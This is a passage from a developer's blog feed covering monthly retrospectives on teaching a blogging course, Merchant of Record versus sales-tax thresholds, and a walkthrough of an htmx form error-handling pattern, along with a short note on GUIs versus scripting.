&lt;p>I also felt an electricity from the students. The degree of enthusiasm actually surprised me because it was only our second class, so it wasn&amp;rsquo;t like, &amp;ldquo;Oh, finally, a change of pace.&amp;rdquo; My best explanation was that the students in the class all knew me, but not everyone knew Adam, so it was interesting to see someone else with a proven track record talk about concepts from the course with his own perspective.&lt;/p>
&lt;h3 id="live-teardowns-of-actual-posts">Live teardowns of actual posts&lt;/h3>
&lt;p>During the course, some of the students asked if we could do an exercise where students shared their writing, and we gave them feedback. Three students shared articles or drafts, and we critiqued them, and they asked if we could do more of that.&lt;/p>
&lt;p>In the next class, I opened the floor to volunteers but nobody had anything ready to share. I offered to just visit Hacker News, pick an article, and break down its strengths and weaknesses. That was fun, but I was picking from the front page, which meant that the articles were already doing well. The class suggested I pick brand-new submissions whose fate wasn&amp;rsquo;t yet known.&lt;/p>
&lt;p>The lesson really came alive for me when I started critiquing new submissions. Because it&amp;rsquo;s easy to look at a submission that succeeded and explain why, but it&amp;rsquo;s a bigger challenge to look at a submission whose fate is unknown and predict its performance. And because it&amp;rsquo;s a stranger&amp;rsquo;s post, and I&amp;rsquo;m presenting to a private group, I could just say whatever came to mind without worrying about offending the author or being overly picky.&lt;/p>
&lt;p>The class also responded more and seemed more engaged when I read the brand new submissions. I&amp;rsquo;d shown some negative examples during the course, but I think it was interesting to watch in real-time as someone loses interest in an article for things like a boring intro or poor structure.&lt;/p>
&lt;h3 id="how-can-i-use-magic-moments">How can I use magic moments?&lt;/h3>
&lt;p>After each of the magic moments from class, I thought about how to lean into those more. How could I create more of that and integrate it into the final course?&lt;/p>
&lt;p>For the live group Q&amp;amp;A, it&amp;rsquo;s hard to make that repeatable unless I create a YouTube channel with a team of eight rotating sidekicks. But a decent approximation is 1:1 video interviews with writers I like, and I think that&amp;rsquo;s more achievable.&lt;/p>
&lt;p>Expert interviews are, uncoincidentally, something that Aaron Francis uses to promote his courses:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/aaron-youtube.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/aaron-youtube_hu_2d82ba58874485cc.webp 300w, https://mtlynch.io/retrospectives/2024/08/aaron-youtube_hu_ad1e0f6b8543488.webp 600w, https://mtlynch.io/retrospectives/2024/08/aaron-youtube.webp 676w'
 src="https://mtlynch.io/retrospectives/2024/08/aaron-youtube.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Aaron Francis publishes long-form interviews with experts in the domain of SQLite as a way to build interest in his upcoming course about SQLite.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The live teardowns, on the other hand, are easy to replicate. I could just turn on my camera right now and record my stream of consciousness as I read Hacker News submissions. I&amp;rsquo;m not sure if that would be entertaining, but it&amp;rsquo;s quick and easy to experiment with that idea.&lt;/p>
&lt;h2 id="is-merchant-of-record-a-scam">Is Merchant of Record a scam?&lt;/h2>
&lt;p>Last week, LemonSqueezy, one of the few payment processors that supported Merchant of Record, announced that Stripe had acquired the company. In the Hacker News thread, &lt;a href="https://news.ycombinator.com/item?id=41082681">one comment&lt;/a> caught my eye:&lt;/p>
&lt;blockquote>
&lt;p>I find the whole aspect of having MoR a fear mongering tactic to get you to pay extra transaction fees&lt;/p>
&lt;p>99% of SaaS won&amp;rsquo;t reach the MRR needed to justify MoR&lt;/p>
&lt;p>Of the 1% those breaking through 7 digit MRR can simply hire in house to manage tax remittance and not confuse their customers with invoices labelled with MoR&amp;rsquo;s branding&lt;/p>&lt;/blockquote>
&lt;p>I asked my accountant, and he confirmed that for most US states, the &lt;a href="https://www.salestaxinstitute.com/resources/economic-nexus-state-guide">minimum threshold&lt;/a> I have to hit to owe sales tax on a digital product is around $100k or 100 transactions per year, depending on the state.&lt;/p>
&lt;p>In populous states like California or New York, the minimum is $500k. If I reach the point where I&amp;rsquo;m exceeding enough states&amp;rsquo; minimums that it&amp;rsquo;s a pain for me to pay sales tax, I can hire an accountant with the hundreds of thousands of dollars I&amp;rsquo;m earning from sales.&lt;/p>
&lt;p>I&amp;rsquo;d been planning to sell on Gumroad, largely for their Merchant of Record feature. But Gumroad charges a 10% commission, and that doesn&amp;rsquo;t even include payment processing fees.&lt;/p>
&lt;p>Given how unlikely it is for me to meet sales tax thresholds outside of my home state of Massachusetts, it means I can sell my courses outside of Gumroad and save myself the 10%.&lt;/p>
&lt;h2 id="side-projects">Side projects&lt;/h2>
&lt;h3 id="finding-my-preferred-pattern-for-htmx-forms">Finding my preferred pattern for htmx forms&lt;/h3>
&lt;p>In my last retrospective, I &lt;a href="https://mtlynch.io/retrospectives/2024/07/#my-experience-with-htmx-so-far">talked about&lt;/a> how I&amp;rsquo;d begun using &lt;a href="https://htmx.org">htmx&lt;/a> and liked it, but I found its error handling awkward.&lt;/p>
&lt;p>As an example, here&amp;rsquo;s a form on &lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a>, my movie review web app.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications_hu_8ff54c5914131f2e.png 300w, https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications_hu_6bdb6e47202e9f74.png 600w, https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications_hu_5c529b7af5ec208.png 800w, https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications.png 982w'
 src="https://mtlynch.io/retrospectives/2024/08/screenjournal-notifications.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A simple HTML form from the &lt;a href="https://github.com/mtlynch/screenjournal">ScreenJournal&lt;/a> web app.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>When the user submits the form, there can only be two results:&lt;/p>
&lt;ul>
&lt;li>The settings are saved successfully.&lt;/li>
&lt;li>There was an error when processing the request.&lt;/li>
&lt;/ul>
&lt;p>htmx&amp;rsquo;s idiomatic way to handle this is that when the user submits the form, the server responds with the HTML for the entire form, repopulated with the values the user submitted and with any success or error message added.&lt;/p>
&lt;p>I find htmx&amp;rsquo;s recommended pattern for forms awkward and bug-prone. The browser already has the form populated correctly, so why would the server give the entire thing back for the browser to render again? The only new information is a success message or an error message, so why can&amp;rsquo;t the server send that and only that?&lt;/p>
&lt;p>Here&amp;rsquo;s &lt;a href="https://github.com/mtlynch/screenjournal/blob/6d3932de0db03429a6d70189348fe1283b6ef03d/handlers/templates/pages/account-notifications.html">my slightly adjusted htmx pattern&lt;/a> applied to the ScreenJournal form above to make htmx&amp;rsquo;s functionality more lightweight:&lt;/p>
&lt;!-- prettier-ignore -->
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-put&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/account/notifications&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-clear&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;#result-success, #result-error&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-disabled-elt&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;input, .btn&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-target&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;#result-success&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-target-error&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;#result-error&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">hx-swap&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;textContent&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">label&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;form-check-label&amp;#34;&lt;/span> &lt;span style="color:#bbb">for&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;new-reviews-checkbox&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Email me when users post reviews
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">label&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;form-check-input&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;checkbox&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;new-reviews-checkbox&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;new-reviews&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">label&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;form-check-label&amp;#34;&lt;/span> &lt;span style="color:#bbb">for&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;all-comments-checkbox&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Email me when users add comments
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">label&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">input&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;form-check-input&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">type&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;checkbox&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;all-comments-checkbox&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#bbb">name&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;all-comments&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;btn btn-primary&amp;#34;&lt;/span> &lt;span style="color:#bbb">value&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;Save&amp;#34;&lt;/span>&amp;gt;Save&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;spinner-border htmx-indicator&amp;#34;&lt;/span> &lt;span style="color:#bbb">role&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;status&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">span&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;visually-hidden&amp;#34;&lt;/span>&amp;gt;Loading...&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">span&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;result-success&amp;#34;&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;alert alert-success&amp;#34;&lt;/span> &lt;span style="color:#bbb">role&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;alert&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span> &lt;span style="color:#bbb">id&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;result-error&amp;#34;&lt;/span> &lt;span style="color:#bbb">class&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;alert alert-danger&amp;#34;&lt;/span> &lt;span style="color:#bbb">role&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;alert&amp;#34;&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The heavy lifting is in the &lt;code>&amp;lt;form&amp;gt;&lt;/code> tag, so I&amp;rsquo;ll break down what&amp;rsquo;s happening:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-put=&amp;#34;/account/notifications&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the user submits the form, make an HTTP PUT request to the &lt;code>/account/notifications&lt;/code> route on the server.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-clear=&amp;#34;#result-success, #result-error&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the user submits the form, clear the contents of the elements with IDs &lt;code>result-success&lt;/code> or &lt;code>result-error&lt;/code>.&lt;/p>
&lt;p>This attribute isn&amp;rsquo;t part of htmx but from a custom extension that I wrote called &lt;a href="https://github.com/mtlynch/screenjournal/blob/f2f1b4420a5752314a2feb87a42c47147486e222/static/js/htmx-ext/clear-before-send.js">clear-before-send&lt;/a>. I use it in conjunction with &lt;a href="https://github.com/mtlynch/screenjournal/blob/ad04f50cd8227783e4c2908da7de68f4cb531bf8/static/css/screenjournal.css#L55-L57">the CSS rule&lt;/a> &lt;code>.alert:empty { display: none }&lt;/code> to hide &lt;code>&amp;lt;div&amp;gt;&lt;/code> tags with the &lt;code>alert&lt;/code> class when they contain no text.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-disabled-elt=&amp;#34;input, .btn&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>During the HTTP request, disable all &lt;code>&amp;lt;input&amp;gt;&lt;/code> tags and elements with the &lt;code>.btn&lt;/code> CSS class so that the user can&amp;rsquo;t double-submit the same request.&lt;/p>
&lt;p>Sidenote: The htmx &lt;a href="https://htmx.org/attributes/hx-disabled-elt/">documentation&lt;/a> implies that &lt;code>hx-disabled-elt=&amp;quot;this&amp;quot;&lt;/code> should disable the whole form, but it doesn&amp;rsquo;t seem to work. As a workaround, I have to use selectors that match all inputs in the form.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-target=&amp;#34;#result-success&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the server responds with a status code in the 200-range, put the body of the server&amp;rsquo;s response in the element with ID &lt;code>result-success&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-target-error=&amp;#34;#result-error&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the server responds with a status code outside of the 200-range, put the body of the server&amp;rsquo;s response in the element with ID &lt;code>result-error&lt;/code>.&lt;/p>
&lt;p>This attribute isn&amp;rsquo;t part of the core htmx library but from an htmx extension called &lt;a href="https://github.com/bigskysoftware/htmx-extensions/blob/c86568af52c98f0ae14ec70644ef868921ffabc9/src/response-targets/README.md">response-targets&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>hx-swap=&amp;#34;textContent&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When populating the target of &lt;code>hx-target&lt;/code> or &lt;code>hx-target-error&lt;/code>, htmx should replace the &lt;code>textContent&lt;/code> of the target element (as opposed to replacing its inner or outer HTML).&lt;/p>
&lt;p>Here&amp;rsquo;s the result. I&amp;rsquo;ve adjusted the dev server so that it waits two seconds to respond, and every other request fails with an error message:&lt;/p>




&lt;figure class="video" style="max-width: 700px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="htmx-form.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Manage notifications screen on ScreenJournal&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>The things to note are:&lt;/p>
&lt;ul>
&lt;li>When the request is in-flight, htmx disables the form.&lt;/li>
&lt;li>The previous success/error message disappears as soon as the user clicks &amp;ldquo;Save&amp;rdquo; again.&lt;/li>
&lt;li>The success and error messages have different styles.&lt;/li>
&lt;/ul>
&lt;p>So, it&amp;rsquo;s a pretty good amount of functionality without having to write custom JavaScript for each form. I wish this was the way HTML had evolved instead of requiring third-party libraries for such common functionality, but I&amp;rsquo;m happy that htmx is filling the gap.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Sold Is It Keto &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/">through this blog&lt;/a> for $2k.&lt;/li>
&lt;li>Completed teaching my live course about blogging.&lt;/li>
&lt;li>Created my first &lt;a href="https://github.com/mtlynch/screenjournal/blob/9cf62daf59a43cc619b0e597f59ea4a4d4006403/static/js/htmx-ext/clear-before-send.js">htmx extension&lt;/a>.&lt;/li>
&lt;li>Created Personal Best, a marketing tool for my course.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Look for opportunities to reduce friction from the process of recording videos.&lt;/li>
&lt;li>I can promote the course by publishing interviews with talented bloggers and teardowns of blog posts.&lt;/li>
&lt;li>Most indie founders in the US probably don&amp;rsquo;t need Merchant of Record.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Finish recording my course.&lt;/li>
&lt;li>Begin selling my course.&lt;/li>
&lt;/ul></content:encoded></item><item><title>GUIs are Antisocial</title><link>https://mtlynch.io/notes/guis-are-antisocial/</link><pubDate>Fri, 12 Jul 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/guis-are-antisocial/</guid><description>&lt;p>Last week, I was listening to the CoRecursive podcast &lt;a href="https://corecursive.com/building-powershell-with-jeffrey-snover/">interview with PowerShell&amp;rsquo;s lead architect, Jeffrey Snover&lt;/a>.&lt;/p>
&lt;p>One moment in that interview has been stuck in my head the whole week is when Snover argues that graphical user interfaces (GUIs) are inherently &amp;ldquo;antisocial&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>I realized that — you know, that the mouse is antisocial. &lt;strong>The GUI is antisocial&lt;/strong>. So what&amp;rsquo;s that mean? You have a problem to solve, and you solve it with the GUI. What do you have? A problem solved.&lt;/p></description><content:encoded>&lt;p>Last week, I was listening to the CoRecursive podcast &lt;a href="https://corecursive.com/building-powershell-with-jeffrey-snover/">interview with PowerShell&amp;rsquo;s lead architect, Jeffrey Snover&lt;/a>.&lt;/p>
&lt;p>One moment in that interview has been stuck in my head the whole week is when Snover argues that graphical user interfaces (GUIs) are inherently &amp;ldquo;antisocial&amp;rdquo;:&lt;/p>
&lt;blockquote>
&lt;p>I realized that — you know, that the mouse is antisocial. &lt;strong>The GUI is antisocial&lt;/strong>. So what&amp;rsquo;s that mean? You have a problem to solve, and you solve it with the GUI. What do you have? A problem solved.&lt;/p>
&lt;p>But &lt;strong>when you solve it with a command line interface in a scripting environment, you have an artifact&lt;/strong>. And all of a sudden, that artifact can be shared with someone.&lt;/p>&lt;/blockquote>
&lt;blockquote>
&lt;p>By the way, the way you did it can show cleverness. &lt;strong>I&amp;rsquo;ve never seen anybody use a GUI in a clever way. Ever.&lt;/strong> There&amp;rsquo;s no cleverness to it. No, like, &amp;ldquo;Oh my god, you should see the way Adam clicked that mouse. Oh my god. Guys, guys, guys, guys, come on! Check it out: Adam&amp;rsquo;s going to click the button! Oh my god! That&amp;rsquo;s amazing!&amp;rdquo; It just doesn&amp;rsquo;t happen.&lt;/p>&lt;/blockquote>
&lt;p>Snover contrasts this with the reaction to seeing an impressive command-line script:&lt;/p>
&lt;blockquote>
&lt;p>It&amp;rsquo;s like, &amp;ldquo;Oh my god! Did you see what Proust did? That&amp;rsquo;s phenomenal! This guy&amp;rsquo;s a frickin&amp;rsquo; genius.&amp;rdquo; And then, &amp;ldquo;Hey, give that to me. I&amp;rsquo;m going to steal that technique and apply it to my code.&amp;rdquo; Or then I have this artifact, and I publish it, and people are using it. There&amp;rsquo;s a debt of gratitude. Like, they owe me a beer.&lt;/p>
&lt;p>&amp;hellip;&lt;/p>
&lt;p>And so it’s a social environment. Anyway. It really was this moment — like, &amp;ldquo;Man, we are having a blast!&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>I enjoyed Snover&amp;rsquo;s framing because people often recognize that scriptable interfaces are more composable and reusable than GUIs, but I hadn&amp;rsquo;t thought about how scripting feels more human in certain ways.&lt;/p>
&lt;p>Scripting allows people to express creativity and ingenuity in a way that GUIs don&amp;rsquo;t. And there&amp;rsquo;s cross-pollination with scripting where people can have fun learning techniques from each other, which doesn&amp;rsquo;t happen with GUIs.&lt;/p></content:encoded></item><item><title>Educational Products: Month 1</title><link>https://mtlynch.io/retrospectives/2024/07/</link><pubDate>Thu, 11 Jul 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m rebooting my blogging course from 2020.&lt;/li>
&lt;li>htmx is pretty good but not everything I wish it could be.&lt;/li>
&lt;li>I&amp;rsquo;m &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/">looking for a buyer for Is It Keto&lt;/a>, my old keto website.&lt;/li>
&lt;/ul>
&lt;h2 id="rebooting-hit-the-front-page">Rebooting Hit the Front Page&lt;/h2>
&lt;p>In 2020, I created a video course about blogging called &lt;a href="https://hitthefrontpage.com/">&amp;ldquo;Hit the Front Page of Hacker News.&amp;rdquo;&lt;/a> I was proud of the course material, and I heard positive feedback from students, but I felt like I never gave it the attention it deserved.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m rebooting my blogging course from 2020.&lt;/li>
&lt;li>htmx is pretty good but not everything I wish it could be.&lt;/li>
&lt;li>I&amp;rsquo;m &lt;a href="https://mtlynch.io/notes/buy-is-it-keto/">looking for a buyer for Is It Keto&lt;/a>, my old keto website.&lt;/li>
&lt;/ul>
&lt;h2 id="rebooting-hit-the-front-page">Rebooting Hit the Front Page&lt;/h2>
&lt;p>In 2020, I created a video course about blogging called &lt;a href="https://hitthefrontpage.com/">&amp;ldquo;Hit the Front Page of Hacker News.&amp;rdquo;&lt;/a> I was proud of the course material, and I heard positive feedback from students, but I felt like I never gave it the attention it deserved.&lt;/p>
&lt;p>When I released the course, TinyPilot was growing quickly, and I didn&amp;rsquo;t have time to market the course or iterate on the material.&lt;/p>
&lt;p>In &lt;a href="https://mtlynch.io/i-sold-tinypilot/">my last blog post&lt;/a>, I surveyed readers about what they&amp;rsquo;d like to see me do next. Of the people who expressed interest in seeing me teach something, here were the results:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 817px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/07/survey-results.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 817px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/07/survey-results_hu_d3b5cf920d9680c2.png 300w, https://mtlynch.io/retrospectives/2024/07/survey-results_hu_2f8c2ef2180639c9.png 600w, https://mtlynch.io/retrospectives/2024/07/survey-results_hu_6fb20116abad46c3.png 800w, https://mtlynch.io/retrospectives/2024/07/survey-results.png 815w'
 src="https://mtlynch.io/retrospectives/2024/07/survey-results.png" alt="Stacked bar graph of interest in what I teach next. &amp;#39;Helping developers improve their writing&amp;#39; is tied for first with &amp;#39;Applying deliberate practice techniques to software development&amp;#39; with 32 interested. &amp;#39;Blogging for an audience of developers&amp;#39; is in third with 31 interested." loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Responses to the reader survey in my last blog post&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>There are different ways to interpret the data, but my takeaway is that people were especially interested in having me teach writing techniques. I was surprised that deliberate practice was a top answer as well, albeit with slightly less enthusiasm.&lt;/p>
&lt;p>I decided that because my existing course was already so close to done and it ranked #2 or #3, depending on how you count, I should dust off that material and re-release an updated version for 2024.&lt;/p>
&lt;h3 id="finding-a-group-of-pilot-program-students">Finding a group of pilot program students&lt;/h3>
&lt;p>Rob Fitzpatrick&amp;rsquo;s book &lt;a href="https://www.usefulbooks.com/">&lt;em>Write Useful Books&lt;/em>&lt;/a> heavily influenced my approach to educational products. He argues that you should always teach a topic live before releasing a book or video course because you want to iterate based on feedback from real students.&lt;/p>
&lt;p>My wife and I are also expecting our first baby at the end of August, and when that happens, I plan to disappear for a few months for family time. At the time I was considering this, I had about 10 weeks until our baby&amp;rsquo;s due date, and the course was six weeks, so I didn&amp;rsquo;t have much buffer.&lt;/p>
&lt;p>I wrote &lt;a href="https://mtlynch.io/notes/htfp-live/">a blurb about the course&lt;/a> and emailed my blog subscribers, asking people to fill out a short application if they were interested. When people filled out the application, I sent personalized replies about what they said in their application and sent them the link to payment to secure their spot.&lt;/p>
&lt;p>Here are the results:&lt;/p>
&lt;ul>
&lt;li>1,944 subscribers received the email about my course.&lt;/li>
&lt;li>11 people filled out a survey to express interest.&lt;/li>
&lt;li>7 people purchased the course.
&lt;ul>
&lt;li>Of the 4 who didn&amp;rsquo;t sign up after the survey, 3 were due to timeslot conflicts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="finding-a-video-platform">Finding a video platform&lt;/h3>
